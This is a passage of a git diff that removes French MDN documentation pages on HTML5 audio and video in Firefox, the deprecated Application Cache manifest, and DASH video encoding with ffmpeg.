La gestion des éléments HTML 5 audio et video a été introduite dans Firefox 3.5, ce qui permet d'intégrer facilement des médias dans des documents HTML. Actuellement, les formats de média Ogg Theora, Ogg Vorbis et WAV sont gérés.

- -

Intégration de médias

- -

Il est trivial d'intégrer des médias dans vos documents HTML :

- -
<video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" controls>
-  Votre navigateur ne gère pas l'élément <code>video</code>.
-</video>
-
- -

Cet exemple jouera une vidéo exemple du site web de Theora.

- -

Plusieurs fichiers sources peuvent être référencés à l'aide de l'élément source afin de fournir des vidéos/extraits audio encodés dans différents formats pour différents navigateurs. Par exemple,

- -
<video controls>
-  <source src="foo.ogg" type="video/ogg">
-  <source src="foo.mp4">
-  Votre navigateur ne gère pas l'élément <code>video</code>.
-</video>
-
- -

jouera le fichier Ogg dans les navigateurs gérant ce format. Si ce n'est pas le cas, il essaiera de jouer le fichier MPEG-4.

- -

Il est également possible d'indiquer les codecs dont le fichier média a besoin ; cela permet au navigateur de prendre de meilleurs décisions :

- -
<video controls>
-  <source src="foo.ogg" type="video/ogg; codecs=&quot;dirac, speex&quot;">
-  Votre navigateur ne gère pas l'élément <code>video</code>.
-</video>
- -

Ici, on indique que la vidéo utilise les codecs Dirac et Speex. Si le navigateur gère les médias Ogg, mais pas les codecs spécifiés, la vidéo ne se chargera pas.

- -

Si l'attribut type n'est pas spécifié le type du média est récupéré depuis le serveur et vérifié pour voir s'il est géré par Gecko ; s'il n'est pas utilisable, l'élément source suivant est vérifié. Si aucun des éléments source ne peut être utilisé, un évènement error est transmis à l'élément video. Si l'attribut type est spécifié, il est comparé avec ceux qui peuvent être joués ; s'il n'est pas reconnu, le serveur n'est même pas interrogé, et on passe directement à la vérification de l'élément source suivant.

- -

 

- -

Contrôle de la lecture

- -

Une fois le média intégré dans votre document HTML à l'aide de ces nouveaux éléments, vous pouvez les contrôler programmatiquement depuis du code JavaScript. Par exemple, pour démarrer (ou redémarrer) la lecture, vous pouvez faire ceci :

- -
var v = document.getElementsByTagName("video")[0];
-v.play();
-
- -

La première ligne récupère le premier élément video dans le document, et la seconde appelle la méthode play() de l'élément, telle que définie dans l'interface {{ interface("nsIDOMHTMLMediaElement") }} utilisée pour implémenter les éléments de médias.

- -

Évènements des médias

- -

Différents évènements sont envoyés lors du traitement de médias :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de l'évènementDescription
abortEnvoyé lorsque la lecture est annulée ; par exemple il sera envoyé si le média est en cours de lecture et redémarré depuis le début.
canplayEnvoyé lorsque suffisamment de données sont disponibles pour débuter la lecture du média, au moins pour quelques premières images. Il correspond à la valeur CAN_PLAY de readyState.
canplaythroughEnvoyé lorsque l'état devient CAN_PLAY_THROUGH, ce qui indique que le média peut être entièrement lu sans interruption, en supposant que la vitesse de téléchargement reste au niveau actuel.
canshowcurrentframeL'image courante est chargée et peut être présentée. Ceci correspond à la valeur CAN_SHOW_CURRENT_FRAME de readyState.
dataunavailableEnvoyé lorsque l'état devient DATA_UNAVAILABLE.
durationchangeLes métadonnées ont été chargées ou modifiées, ce qui indique un changement dans la durée du média. Sera par exemple envoyé lorsque le média est suffisamment chargé pour que sa durée soit connue.
emptiedLe média est devenu vide ; par exemple si le média est déjà chargé (ou partiellement chargé) et qu'on appelle la méthode load() pour le recharger.
emptyEnvoyé lorsqu'une erreur survient et que le média est vide.
endedEnvoyé lorsque la lecture se termine.
errorEnvoyé lorsqu'une erreur se produit. L'attribut error de l'élément contient plus d'informations.
loadedfirstframeLa première image du média a été chargée.
loadedmetadataLes métadonnées du média ont été chargées ; tous les attributs contiennent autant d'informations que possible.
loadstartEnvoyé lorsque le chargement du média débute.
pauseEnvoyé lorsque la lecture est interrompue.
playEnvoyé lorsque la lecture débute ou reprend.
progress -

Envoyé périodiquement pour informer les parties intéressées de la progression du téléchargement du média. L'évènement progress dispose de trois attributs :

- -
-
lengthComputable
-
vaut true si la taille totale du média est connue, false sinon.
-
loaded
-
Le nombre d'octets du fichier de média qui ont été reçus jusqu'à présent.
-
total
-
Le nombre total d'octets dans le fichier de média.
-
-
ratechangeEnvoyé lorsque la vitesse de lecture change.
seekedEnvoyé lorsqu'une opération de positionnement est effectuée.
seekingEnvoyé lorsqu'une opération de positionnement débute.
suspend {{ gecko_minversion_inline("1.9.2") }}Envoyé lorsque le chargement du média est interrompu ; cela peut arriver parce que le téléchargement est terminé ou parce qu'il a été mis en pause pour toute autre raison.
timeupdateLe temps indiqué par l'attribut currentTime de l'élément a été modifié.
volumechangeEnvoyé lorsque le volume audio est modifié (qu'il s'agisse d'une modification du volume ou d'un changement de l'attribut muted).
waitingEnvoyé lorsque l'opération demandée (comme une lecture) est retardée en attendant la fin d'une autre opération (comme un positionnement).
- -

{{ gecko_minversion_note("1.9.2", "L'ancien évènement load a été retiré de Gecko 1.9.2, il n'était pas déclenché quand il fallait et ne doit pas être utilisé.") }}

- -

Ces évènements peuvent facilement être interceptés à l'aide ce ce genre de code :

- -
var v = document.getElementsByTagName("video")[0];
-
-v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
-v.currentTime = 10.0;
-
- -

Cet exemple récupère le premier élément vidéo du document et lui attache un écouteur d'évènement, vérifiant l'évènement seeked qui est envoyé lorsqu'une opération de positionnement se termine. La fonction appelle simplement la méthode play() de l'élément, qui lance la lecture.

- -

Ensuite, à la ligne 4, cet exemple positionne l'attribut currentTime de l'élément à 10.0, ce qui lance une opération de positionnement à la dixième seconde du média. Cela déclenche l'envoi d'un évènement seeking au début de l'opération, ensuite d'un évènement seeked lorsque le positionnement est terminé.

- -

Autrement dit, l'exemple se positionne à dix secondes du début du média, puis commence la lecture dès que c'est fait.

- -

Options de rechange

- -

Le code HTML fourni entre les balises, par exemple <video> et </video>, est utilisé par les navigateurs ne gérant pas les médias HTML 5. Vous pouvez tirer parti de cela pour fournir un contenu alternatif de rechange pour ces navigateurs.

- -

Cette section propose deux options de rechange possibles pour la vidéo. Dans les deux cas, si le navigateur gère la vidéo HTML 5, c'est celle-ci qui sera utilisée.

- -

Utilisation de Flash

- -

Vous pouvez utiliser Flash pour lire une vidéo Flash si l'élément video n'est pas géré :

- -
<video src="video.ogv" controls>
-    <object data="flvplayer.swf" type="application/x-shockwave-flash">
-      <param value="flvplayer.swf" name="movie"/>
-    </object>
-</video>
-
- -

Notez qu'il ne faut pas mettre d'attribut classid à la balise object afin de rester compatible avec les autres navigateurs qu'Internet Explorer.

- -

Lecture de vidéos Ogg dans une applet Java

- -

Une applet Java appelée Cortado peut-être utilisée pour lire les vidéos Ogg dans les navigateurs ne pouvant pas lire les vidéos HTML 5 mais où Java est géré :

- -
<video src="my_ogg_video.ogg" controls width="320" height="240">
-  <object type="application/x-java-applet"
-          width="320" height="240">
-     <param name="archive" value="cortado.jar">
-     <param name="code" value="com.fluendo.player.Cortado.class">
-     <param name="url" value="my_ogg_video.ogg">
-     <p>You need to install Java to play this file.</p>
-  </object>
-</video>
-
- -

Si vous ne créez pas d'élément enfant de l'objet cortado comme l'élément <p> dans l'exemple ci-dessus, les installations de Firefox 3.5 qui gèrent la vidéo nativement mais où Java n'est pas installé informeront incorrectement l'utilisateur qu'il doit installer un plugin pour lire le contenu de la page.

- -

Voir également

- - - -

 {{ languages( { "en": "en/Using_audio_and_video_in_Firefox" } ) }}

- -

 {{ languages( { "es": "es/Etiquetas audio y video en Firefox" } ) }}

diff --git a/files/fr/web/html/utiliser_application_cache/index.html b/files/fr/web/html/utiliser_application_cache/index.html deleted file mode 100644 index ccc78772a8..0000000000 --- a/files/fr/web/html/utiliser_application_cache/index.html +++ /dev/null @@ -1,338 +0,0 @@ ---- -title: Utiliser Application Cache -slug: Web/HTML/Utiliser_Application_Cache -tags: - - Avancé - - Cache - - Déprécié - - Guide - - HTML - - appcache -translation_of: Web/HTML/Using_the_application_cache ---- -
{{DefaultAPISidebar("App Cache")}}{{securecontext_header}}{{deprecated_header}}
- -
-

Attention ! L'utilisation de la fonction de mise en cache d'application décrite ici est actuellement fortement déconseillée; cette fonctionnalité est en train d' être retiré de la plate-forme Web. Utiliser Service Workers à la place. En fait, à partir de Firefox 44, quand l'application cache est utilisé pour fournir une aide hors ligne pour une page, un message d'avertissement est maintenant affiché dans la console conseillant aux développeurs d'utiliser Service workers à la place ({{bug("1204581")}}).

-
- -

Introduction

- -

HTML5 supporte la mise en cache hors-ligne de ressources d'applications web; les fichiers sont stockés dans l'Application Cache (AppCache) - une collection de ressources obtenues depuis un fichier manifest (*.appcache) inclue dans une application web.

- -

L'utilisation d'une application cache permet les bénéfices suivants :

- -
    -
  • Navigation hors-ligne : les utilisateurs peuvent utiliser un site même s'ils ne sont pas connectés.
    • -
  • Vitesse : les ressources mises en cache sont locales, et se chargent donc plus rapidement.
    • -
  • Réduction de la charge serveur : le navigateur ne télécharge uniquement les ressources qui ont changées sur le serveur.
    • -
- -
-

Comment fonctionne AppCache

- -

Activer AppCache

- -

Vous devez, pour utiliser le cache d'application, utiliser l'attribut manifest dans l'élément <html> comme suit :

- -
<html manifest="example.appcache">
-  ...
-</html>
- -

L'attribut manifest spécifie l'URI d'un manifeste de cache, qui est un fichier texte qui répertorie les ressources (fichiers) que le navigateur doit mettre en cache pour votre application.

- -

Vous devez inclure l'attribut manifest sur chaque page de votre application que vous souhaitez mettre en cache. Le navigateur met pas en cache les pages qui ne contiennent pas l'attribut manifest, sauf si celle-ci sont explicitement mentionnées dans le manifeste même. Vous ne devez pas lister toutes les pages que vous souhaitez mettre en cache dans le fichier manifeste, le navigateur ajoute implicitement chaque page que l'utilisateur visite et qui possède l'attribut manifest réglé sur le cache de l'application.

- -

Certains navigateurs dont Firefox vont avertir l'utilisateur la première fois que celui-ci charge votre application par une notification :

- -

« Ce site internet (www.example.com) veut stocker des données sur votre ordinateur pour une utilisation hors-ligne. [Accepter] [Refuser pour ce site] [Pas maintenant] ».

- -

Le terme « d'applications (fonctionnant) hors-ligne » est parfois utilisé pour désigner les applications que l'utilisateur a autorisé à travailler hors-ligne.

- -

Chargement des documents

- -

L'utilisation d'un cache de l'application modifie le processus normal de chargement d'un document :

- -
    -
  • Si un cache de l'application existe, le navigateur charge le document et ses ressources associées directement à partir de la mémoire cache, sans accéder au réseau. Cela accélère le temps de chargement du document.
    • -
  • Le navigateur vérifie ensuite si le manifeste de cache a été mis à jour sur le serveur.
    • -
  • Si le manifeste de cache a été mis à jour, le navigateur télécharge une nouvelle version du manifeste et les ressources figurant dans  ce dernier. Cela se fait en arrière-plan et n'affecte pas les performances de manière significative.
    • -
- -

Le procédé de chargement de documents et mise à jour du cache de l'application est définie de manière plus détaillée ci-dessous:

- -
    -
  1. Quand le navigateur visite un document qui contient l'attribut manifest et qu'il n'existe pas encore de cache d'application, il chargera le document puis récupérera toutes les entrées listées dans le manifeste, créant ainsi la première version du cache d'application.
    2. -
  2. Lors des visites ultérieures de ce document, le navigateur chargera le document et les autres ressources précisées dans le manifeste à partir du cache d'application — et non du serveur. De plus, le navigateur enverra aussi un évènement checking à l'objet window.applicationCache, puis récupère le manifeste en fonction de la règle de cache HTTP adéquate.
    3. -
  3. Si la version en cache du manifeste est à jour, l'évènement noupdate est envoyé a l'applicationCache, et le processus de mise à jour est terminé. C'est la raison pour laquelle vous devez changer le manifeste chaque fois que vous mettez à jour les ressources sur le serveur, afin que le navigateur sache qu'il doit de nouveau récupérer les ressources.
    4. -
  4. Si le manifeste a changé, tous les fichiers dans le manifeste (dont ceux ajoutés au cache lors de l'appel à applicationCache.add()) sont récupérés dans un cache temporaire, en fonction des règles de cache HTTP adéquates. Un évènement progress est envoyé à l'objet applicationCache chaque fois qu'un fichier est récupéré dans le cache temporaire. Un évènement error est envoyé à chaque erreur, et la mise à jour s'arrête.
    5. -
  5. Une fois tous les fichiers récupérés en bonne et due forme, ils sont transférés dans le véritable cache hors-ligne un par un, et un évènement cached est envoyé à l'objet applicationCache. Le document étant déjà chargé dans le navigateur depuis le cache, le document mis à jour ne sera pas ré-affiché tant que celui-ci n'est pas chargé à nouveau (que ce soit manuellement ou via un programme).
    6. -
- -

Emplacement du stockage et effacement du cache hors-ligne

- -

Dans Chrome, le cache hors-ligne peut être effacé grâce au bouton "Effacer les données de navigation..." dans les préférences, ou en ouvrant chrome://appcache-internals/. Safari a un paramètre "Vider le cache" dans ses préférences, mais il est possible que le redémarrage du navigateur soit nécessaire.

- -

Dans Firefox, les données de cache hors-ligne sont stockées séparément du profil Firefox—à côté du cache disque normal :

- -
    -
  • Windows Vista/7: C:\Users\<username>\AppData\Local\Mozilla\Firefox\Profiles\<salt>.<profile name>\OfflineCache
    • -
  • Mac/Linux: /Users/<username>/Library/Caches/Firefox/Profiles/<salt>.<profile name>/OfflineCache
    • -
- -

Dans Firefox l'état actuel du cache hors-ligne est consultable sur la page about:cache (dans la section "Offline cache device"). Le cache hors-ligne peut être effacé pour chaque site individuellement à l'aide du boutton "Supprimer..." dans  Menu -> Options -> Avancé -> Réseau -> Contenu web et données utilisateur hors connexion.

- -

Avant Firefox 11, ni Tools -> Clear Recent History ni Tools -> Options -> Advanced -> Network -> Offline data -> Clear Now ne permettaient d'effacer le cache hors-ligne. Ceci a été corrigé.

- -

Voir aussi effacer les données de stockage DOM.

- -

Les caches d'application peuvent aussi devenir obsolètes. Si le manifeste d'une application est retiré du serveur, le navigateur efface toutes les données cachées utilisant ce manifeste, et déclenche un event "obsoleted" à l'objet applicationCache. Le statut du cache de l'application est alors OBSOLETE.

- -

Le manifeste du cache

- -

Référencement d'un fichier de manifeste de cache

- -

L'attribut manifest dans une application web peut spécifier le chemin relatif d'un manifeste de cache ou une URL absolue. (Les URL absolues doivent être de la même origine que l'application). Le manifeste du cache peut avoir une extension de fichier, mais il doit être servi avec le MIME type text/cache-manifest.

- -
Note: Sur les serveurs Apache, le MIME type pour les fichiers manifest (.appcache) peut être défini par l'ajout de AddType text/cache-manifest .appcache à un fichier a .htaccess soit à l'intérieur du répertoire racine, soit le même répertoire que l'application.
- -

Les entrées dans un manifeste de cache

- -

Le fichier manifest de cache est un simple fichier de texte qui liste les ressources que le navigateur doit cache pour l'accès hors ligne. Les ressources sont identifiées par URI. Les entrées listées dans le manifeste de cache doivent avoir le même plan, hôte, et port comme un manifest.

- -

Example 1: Un fichier manifeste simple

- -

Ci-dessous, un exemple simple de manifeste — example.appcache utilisé par le site imaginaire www.example.com:

- -
CACHE MANIFEST
-# v1 - 2011-08-13
-# Ceci est un commentaire.
-https://www.example.com/index.html
-https://www.example.com/header.png
-https://www.example.com/blah/blah
-
- -

Il n'y a pas, dans cet exemple, d'en-tête de section, donc toutes les lignes sont supposées être des sections (CACHE:) explicites. On peut aussi utiliser des URL relatives (index.html, …)

- -

Le commentaire « v1 » n'est pas là par hasard : le cache n'est mis à jour que quand le manifeste change, avec une correspondance d'octet à octet. Si vous utilisez d'autres ressources (par exemple en mettant à jour le contenu de l'image header.png), vous devez changer le manifeste pour signaller au navigateur qu'il doit rafraîchir le cache, et, comme header.png est déjà présent dans le cache, vous devez modifier quelquechose d'autre. Bien que vous puissiez changer n'importe quoi d'autre dans le manifest, utiliser un numéro de version est une bonne pratique conseillée.

- -
Important: N'utilisez pas le manifeste lui-même dans le fichier de manifeste : il vous serait alors quasiment impossible d'informer le navigateur lors de la mise à jour du manifeste.
- -

Des sections dans un manifeste de cache: CACHE, NETWORK, et FALLBACK

- -

Un manifeste peut avoir trois sections distinctes: CACHE, NETWORK, et FALLBACK.

- -
-
CACHE:
-
Ceci est la section par défaut pour les entrées dans un manifeste de cache. Les fichiers sont répertoriés sous le CACHE: l'en-tête de section (ou immédiatement après la ligne MANIFESTE CACHE) est explicitement mis en cache après qu'il ait été téléchargé pour la première fois.
-
NETWORK:
-
Les fichiers répertoriés dans le NETWORK: l'en-tête de section dans le fichier manifeste de cache est une ressource de la liste blanche qui nécessite une connexion au serveur. Toutes les demandes à cette ressource contournent le cache, même si l'utilisateur est déconnecté. Le caractère générique * peut être utilisé qu'une seule fois. La plupart des sites en ont besoin *.
-
FALLBACK:
-
Le FALLBACK: section qui spécifie les pages de repli que le navigateur doit utiliser si une ressource est inaccessible. Chaque entrée dans cette section répertorie deux URIs (le premier est la ressource, le second est le repli). Les deux URIs doivent être relatif et de la même origine que le fichier manifeste. Les Wildcards peuvent être utilisés.
-
- -

Les sections CACHE, NETWORK, et FALLBACK peuvent être listés dans n'importe  quel ordre dans un manifeste de cache, et chaque section peut apparaître plus qu'une fois dans un simple manifeste.

- -

Example 2 : Un manifeste de cache plus complet

- -

Voici un exemple plus complet de manifeste pour notre site imaginaire www.example.com.

- -
CACHE MANIFEST
-# v1 2011-08-14
-# Ceci est un autre commentaire
-index.html
-cache.html
-style.css
-image1.png
-
-# Contenu Fallback
-FALLBACK:
-. fallback.html
-
-# L'utilise depuis le network (réseau) si il est disponible
-NETWORK:
-network.html
- -

Nous utilisons dans cet exemple les sections FALLBACK et NETWORK pour préciser que la page network.html doit toujours être récupérée depuis le réseau et que la page fallback.html doit être utilisée comme ressource de secours, par exemple si la connexion au serveur ne peut être établie.

- -

Structure d'un manifeste

- -

Les manifestes doivent être servis avec le type MIME text/cache-manifest, et toutes les ressources servies en utilisant ce type MIME doivent respecter la syntaxe d'un manifeste, comme défini ici.

- -

Les manifestes sont des fichiers textes au format UTF-8 et peuvent, éventuellement, inclure un caractère BOM. Les nouvelles lignes peuvent être représentés par saut de ligne (U+000A), retour chariot (U+000D), ou les deux.

- -

La première ligne du manifeste doit être la chaine CACHE MANIFEST (séparé par un simple espace U+0020), suivi par aucun ou plusieurs espaces ou tabulations. Tout autre texte sur la ligne sera ignoré.

- -

Le reste du manifeste peut contenir 0 ou plusieurs lignes :

- -
-
Lines vides
-
Vous pouvez utiliser les lignes vides comprenant 0 ou plusieurs espaces ou tabulations.
-
Commentaire
-
Les commentaires consistent en 0 ou plusieurs espaces ou tabulations suivis du caractère #, suivi de 0 ou plusieurs caractères de texte. Les commentaires devraient être utilisés seulement sur leur propre ligne, et ne devrait pas être ajoutés à d'autres lignes. Cela signifie également que vous ne pouvez pas spécifier les identifiants de fragments.
-
Section de tête
-
La section header précise la section du cache qui est manipulée. Il en existe trois types:
-
- -
- - - - - - - - - - - - - - - - - - - -
Section headerDescription
CACHE:Passe à la section explicite. C'est la section par défaut.
NETWORK:Passe à la section des sections en ligne sur la liste blanche.
FALLBACK:Passe à la section de secours.
-
- -
-
La ligne d'en-tête de section peut contenir des espaces, mais doit inclure un « : » dans le nom de la section.
-
Section data
-
Le format des lignes de données varie selon les sections. Dans la section explicite (CACHE:) chaque ligne contient une référence URI ou IRI à une ressource en cache (aucun caractère joker n'est admis dans cette section). Des espaces sont accepté avant et après l'URI on l'IRI sur chaque ligne. Dans la section de secours, chaque ligne est une référence URI ou IRI vers une ressource, suivie d'une ressource de secours qui sera utilisée lorsque la connexion au serveur ne peut être établie. Dans la section en ligne, chaque ligne est une référence valide URI ou IRI à une ressource qui sera récupérée sur le réseau (le caractère joker « * » est autorisé dans cette section). -
Note: Les URI relatives pointent vers les URI du manifeste, et non vers les URI du document qui référence le manifeste.
-
-
- -

Le manifeste peut passer à l'envie d'une section à l'autre (chaque en-tête de section peut être utilisée plusieurs fois), et les sections vides sont tolérées.

- -

Les ressources dans AppCache

- -

Le cache inclue toujours au moins une ressource, identifiée par URI. Toutes les ressources répondent à une des catégories suivantes :

- -
-
Entrées Maitres
-
Il s'agit de ressources ajoutées au cache parce qu'un contexte de navigation visité par l'utilisateur incluait un document qui indiquait que ces ressources étaient dans le cache en utilisant son attribut manifest.
-
Entrées Explicites
-
Il s'agit de ressources listées dans le manifeste du cache.
-
Entrées Network
-
Il s'agit de ressources listées dans le manifeste du cache comme entrées de network.
-
Entrées Fallback
-
Il s'agit de ressources listées dans le manifeste du cache comme entrées de fallback. {{fx_minversion_inline("3")}}
-
- -
Note : Les ressources peuvent être marquées dans plusieurs catégories, et peuvent donc être catégorisées comme des entrées multiples. Par exemple, une entrée peut être à la fois une entrée explicite et une entrée de fallback.
- -

Les catégories ressources sont décrites en détail ci-dessous.

- -

Entrées Maitres

- -

Tous les fichiers HTML peuvent inclure un attribut {{htmlattrxref("manifest","html")}} dans leur élément {{HTMLElement("html")}}. Par exemple, disons que nous avons le fichier https://www.example.com/entry.html, qui ressemble à ça :

- -
<html manifest="example.appcache">
-  <h1>Application Cache Example</h1>
-</html>
-
- -

Si entry.html n'est pas inclue dans le manifeste, visiter la page entry.html provoquera l'ajout de la page entry.html dans le cache de l'application comme une master entry.

- -

Entrées Explicites

- -

Les entrées explicites sont des ressources explicitement listées dans la section CACHE d'un manifeste de cache.

- -

Entrées Network

- -

Les entrées listées dans NETWORK : peuvent contenir plusieurs ou aucune ressource que l'application requiert lors d'un accès en ligne. C'est principalement une liste blanche en ligne. Les URIS spécifiées dans la section NETWORK sont chargées depuis le serveur plutôt que depuis le cache. Cela permet au modèle de sécurité du navigateur de protéger l'utilisateur de possibles brèches de sécurité en limitant l'accès aux seules ressources approuvées.

- -
Note : La liste blanche en ligne est ignorée pour les versions de Firefox antérieures à 3.5.
- -

Vous pouvez l'utiliser pour, par exemple, charger et exécuter des scripts et d'autres codes depuis le serveur au lieu du cache. :

- -
CACHE MANIFEST
-NETWORK:
-/api
-
- -

Ceci assure que les requêtes téléchargent les ressources contenues dans https://www.example.com/api/ viendront toujours du réseau sans essayer d'accéder au cache.

- -
Note : Juste omettre les master entries (les fichiers qui ont l'attribut manifest défini dans l'élément html) dans le manifeste n'aurait pas le même comportement parce que les master entries seront ajoutées — et donc servies depuis— le cache. 
- -

Entrées Fallback

- -

Les entrées de fallback sont utilisées quand une tentative de chargement d'une ressource échoue. Par exemple, imaginons qu'il y a un manifeste situé à https://www.example.com/example.appcache, et qui contient :

- -
CACHE MANIFEST
-FALLBACK:
-example/bar/ example.html
-
- -

Toute requête vers https://www.example.com/example/bar/ ou n'importe lequel de ses sous-répertoires et contenus provoquera une tentative de chargement de la ressource demandée. Si la tentative échoue, soit à cause d'un échec réseau ou d'une erreur serveur quelle qu'elle soit, le contenu du fichier example.html sera chargé à la place.

- -

Les états

- -

Chaque cache a un statut qui indique la condition actuelle du cache. Les caches qui partagent la même URI de manifeste partagent le même statut, qui est un des suivants :

- -
-
UNCACHED
-
Une valeur spéciale qui indique qu'un object application cache n'est pas complètement initialisée.
-
IDLE
-
Le cache n'est pas en cours de mise à jour.
-
CHECKING
-
Le manifeste est en train d'être contrôlé pour d'éventuelles mises à jour.
-
DOWNLOADING
-
Des ressources sont en train d'être téléchargées pour être ajoutées au cache, dû à un changement du manifeste.
-
UPDATEREADY
-
Il y a une nouvelle version du cache disponible. Il y a un évènement updateready correspondant, qui est lancé au lieu de l'évènement cached quand une nouvelle mise à jour a été téléchargée mais pas encore activée via la méthode swapCache().
-
OBSOLETE
-
Le groupe de caches est maintenant obsolète.
-
- -

Test pour les mises à jour des manifestes de cache

- -

Vous pouvez programmer un test pour voir si une application possède un manifeste de cache à jour en utilisant JavaScript. Depuis un manifeste de cache peut être été mis à jour avant un script qui teste si les événements sont à jour, les scripts doivent toujours tester window.applicationCache.status.

- -
function onUpdateReady() {
-  console.log('nouvelle version trouvée !');
-}
-window.applicationCache.addEventListener('updateready', onUpdateReady);
-if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
-  onUpdateReady();
-}
- -

Pour démarrer manuellement le test pour un nouveau manifeste de cache, vous pouvez utilisez window.applicationCache.update().

- -

Pièges

- -
    -
  • Ne jamais accéder à des fichiers mis en cache à l'aide des paramètres GET traditionnels (comme other-cached-page.html?parameterName=value). Cela rendra le contournement du navigateur du cache et de tenter de l'obtenir à partir du réseau. Pour créer un lien vers les ressources mises en cache qui ont des paramètres analysés dans les paramètres d'utilisation de JavaScript dans la partie de hach de la liaison, comme other-cached-page.html#whatever?parameterName=value.
    • -
  • Lorsque les applications sont mises en cache, mettant simplement à jour les ressources (fichiers) qui sont utilisés dans une page Web mais cela ne suffit pas à mettre à jour les fichiers qui ont été mis en cache. Vous devez mettre à jour le fichier manifeste de cache lui-même avant que le navigateur récupère et utilise les fichiers mis à jour. Vous pouvez le faire par programmewindow.applicationCache.swapCache(), si les ressources qui ont déjà été chargées ne seront pas affectés. Pour vous assurer que les ressources sont chargées à partir d'une nouvelle version du cache de l'application, rafraîchir la page est idéal.
    • -
  • Il est une bonne idée de mettre des en-têtes expirés sur votre serveur web pour les fichiers * .appcache pour qu'ils expirent immédiatement. Cela évite le risque de mise en cache des fichiers manifestes. Par exemple, dans Apache, vous pouvez spécifier une telle configuration comme suit:
    - ExpiresByType text/cache-manifest "access plus 0 seconds"
    • -
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.elements.html.manifest")}}

- -

Voir aussi

- - -
diff --git "a/files/fr/web/html/utiliser_dash_avec_les_vid\303\251os_en_html/index.html" "b/files/fr/web/html/utiliser_dash_avec_les_vid\303\251os_en_html/index.html" deleted file mode 100644 index 6a1b7f19f1..0000000000 --- "a/files/fr/web/html/utiliser_dash_avec_les_vid\303\251os_en_html/index.html" +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Utiliser DASH avec les vidéos en HTML -slug: Web/HTML/Utiliser_DASH_avec_les_vidéos_en_HTML -tags: - - Avancé - - DASH - - Guide - - HTML -translation_of: Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video ---- -
{{HTMLSidebar}}
- -

Dynamic Adaptive Streaming over HTTP (DASH) est un protocole de streaming adaptatif : il permet de changer le débit de la vidéo en fonction des performances réseau afin que la vidéo ne soit pas interrompue lors de la lecture.

- -

Compatibilité des navigateurs

- -

Firefox 21 inclut une implémentation de DASH pour le format vidéo WebM mais celle-ci est désactivée par défaut et peut être activée via la préférence media.dash.enabled sous about:config.

- -

Firefox 23 a retiré la prise en charge de DASH pour le format WebM. Cette fonctionnalité sera remplacée par l'implémentation de l'API Media Source Extensions qui permettra la prise en charge de DASH via des bibliothèques JavaScript tierces (telles que dash.js). Pour plus de détails, voir le bug 778617.

- -

Utiliser DASH, côté serveur

- -

Pour commencer, il faut convertir la vidéo WebM en manifeste DASH avec les vidéos associées aux différents débits. Pour cela, on aura besoin de :

- -
    -
  • ffpmeg - avec la prise en charge de l'audio et vidéo WebM fourni via libvpx and libvoribis en version 2.5 minimum (ffmpeg.org).
    • -
- -

1. Utiliser un fichier WebM afin de créer une piste audio et plusieurs fichiers vidéo

- -

Dans les lignes d'exemple qui suivent, on utilise le fichier de départ in.video. Ce fichier peut être n'importe quel conteneur avec au moins un flux audio et un flux vidéo qui peut être décodé par ffmpeg.

- -

On créera la piste audio avec :

- -
ffmpeg -i in.video -vn -acodec libvorbis -ab 128k -dash 1 my_audio.webm
-
- -

On créera les pistes vidéos avec :

- -
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm
-
-ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm
-
- -

Autrement, on peut utiliser cette commande :

- -
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
--g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
--an -vf scale=160:90 -b:v 250k -dash 1 video_160x90_250k.webm \
--an -vf scale=320:180 -b:v 500k -dash 1 video_320x180_500k.webm \
--an -vf scale=640:360 -b:v 750k -dash 1 video_640x360_750k.webm \
--an -vf scale=640:360 -b:v 1000k -dash 1 video_640x360_1000k.webm \
--an -vf scale=1280:720 -b:v 1500k -dash 1 video_1280x720_1500k.webm
- -

2. Créer le manifeste

- -
ffmpeg \
-  -f webm_dash_manifest -i video_160x90_250k.webm \
-  -f webm_dash_manifest -i video_320x180_500k.webm \
-  -f webm_dash_manifest -i video_640x360_750k.webm \
-  -f webm_dash_manifest -i video_1280x720_1500k.webm \
-  -f webm_dash_manifest -i my_audio.webm \
-  -c copy \
-  -map 0 -map 1 -map 2 -map 3 -map 4 \
-  -f webm_dash_manifest \
-  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
-  my_video_manifest.mpd
- -

Les arguments -map correspondent aux fichiers d'entrée dans l'ordre dans lequel ils sont fournis. Il doit y en avoir un pour chaque fichier. L'argument -adaptation_sets permet de les affecter à différents ensembles d'adaptation. Par exemple, cela crée un ensemble (0) qui contient les flux 0, 1, 2 et 3 (les vidéos) et un autre ensemble (1) qui contient uniquement le flux 4 (l'audio).

- -

On pourra alors placer le fichier de manifeste créé à côté des fichiers vidéo sur le serveur web ou sur le CDN. DASH fonctionne via HTTP donc il suffit simplement que votre serveur prenne en charge les requêtes d'intervalles d'octets (byte range requests) et qu'il puisse servir les fichiers .mpd avec mimetype="application/dash+xml".

- -

Utiliser DASH, côté client

